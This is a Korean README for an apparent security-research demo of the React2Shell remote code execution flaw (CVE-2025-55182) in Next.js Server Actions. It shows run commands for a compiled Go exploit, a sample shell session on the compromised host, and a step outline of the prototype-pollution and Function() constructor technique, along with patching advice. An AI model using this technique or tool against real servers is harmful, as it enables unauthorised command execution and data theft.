
이 프로젝트는 React Server Components 및 Next.js의 치명적인 원격 코드 실행(RCE) 취약점인 CVE-2025-55182(React2Shell)에 대한 완전한 기능을 갖춘 데모를 제공합니다.
이 프로젝트는 React Server Components 및 Next.js의 심각한 원격 코드 실행 취약점인 CVE-2025-55182 (React2Shell)에 대한 완전한 기능의 데모를 제공합니다.
상태: ✅ 작동 중 - 취약한 서버에서 실제 명령 실행을 달성합니다.
CVE-2025-55182 (7.8MB 컴파일된 실행 파일)📥 데모 비디오 다운로드 (5.6MB) - 클릭하여 익스플로잇이 실행되는 모습을 다운로드하고 시청하세요
데모에서 보여주는 내용:
cd exploited-server
npm run dev
# Server starts on http://localhost:3001
cd /Users/subh/Desktop/code-playground/react-2-shell-demo
./CVE-2025-55182
# When prompted:
Target: localhost:3001
기본 명령:
subh@rce $ whoami
subh@rce $ pwd
subh@rce $ ls -la
subh@rce $ hostname
파일 작업:
subh@rce $ touch hello.txt
[+] Created: hello.txt
subh@rce $ vi hello.txt
[i] Enter new content (type 'EOF' on a line by itself to finish):
Hello World!
EOF
[+] File saved: hello.txt
subh@rce $ cat hello.txt
Hello World!
subh@rce $ echo "New content" > hello.txt
[+] File written
subh@rce $ rm hello.txt
[+] Removed: hello.txt
시스템 정보:
subh@rce $ cat package.json
subh@rce $ node --version
subh@rce $ npm --version
subh@rce $ ps aux
종료:
subh@rce $ exit
이 프로젝트는 다음을 보여줍니다:
✅ 실제 익스플로잇 - 취약한 시스템에서 실제로 작동하는 RCE ✅ 보안 연구 - 최신 웹 프레임워크 취약점 이해 ✅ Go 개발 - 보안 도구 컴파일 및 사용 ✅ 취약점 분석 - CVE 연구 및 익스플로잇 기법 ✅ 책임 있는 공개 - 윤리적 보안 테스트 관행
react-2-shell-demo/
├── CVE-2025-55182 # Compiled Go exploit binary
├── main.go # Go source code
├── exploited-server/ # Vulnerable Next.js app
│ ├── app/
│ │ ├── actions.ts # Server Actions (vulnerable)
│ │ └── page.tsx # Warning UI
│ └── package.json # Next 15.0.1, React 19.0.0
└── *.md # Documentation
CVE-2025-55182는 React Server Components의 안전하지 않은 역직렬화를 이용합니다:
__proto__를 통한 프로토타입 오염Function() 생성자를 호출하는 가짜 청크1. Craft multipart payload with malicious chunks
2. Send to Next.js Server Actions endpoint
3. Trigger prototype pollution via __proto__:then
4. Invoke Function() constructor with command
5. Execute code and return output via redirect
6. Parse result from X-Action-Redirect header
중요 공지:
README.md - 이 파일GO_EXPLOIT_USAGE.md - 상세 익스플로잇 사용법VULNERABLE_SERVER.md - 서버 설정 가이드EXPLOITATION_GUIDE.md - 기술 심층 분석USAGE.md - 사용 예제 및 명령npm run dev)./CVE-2025-55182)이 프로젝트는 다음을 성공적으로 시연합니다:
프로덕션 시스템의 경우:
패치된 버전으로 즉시 업데이트:
2025년 12월 4일 이전에 노출된 경우 시크릿을 교체하세요
의심스러운 Server Actions 활동이 있는지 로그를 모니터링하세요
Server Components를 사용하는 애플리케이션을 감사하세요
@subhdotsol - 교육 및 보안 연구 목적으로 제공
이 코드는 교육 및 승인된 보안 테스트 전용입니다.
기억하세요: 테스트하기 전에 항상 적절한 승인을 받으세요. 책임감 있게 사용하세요! 🔒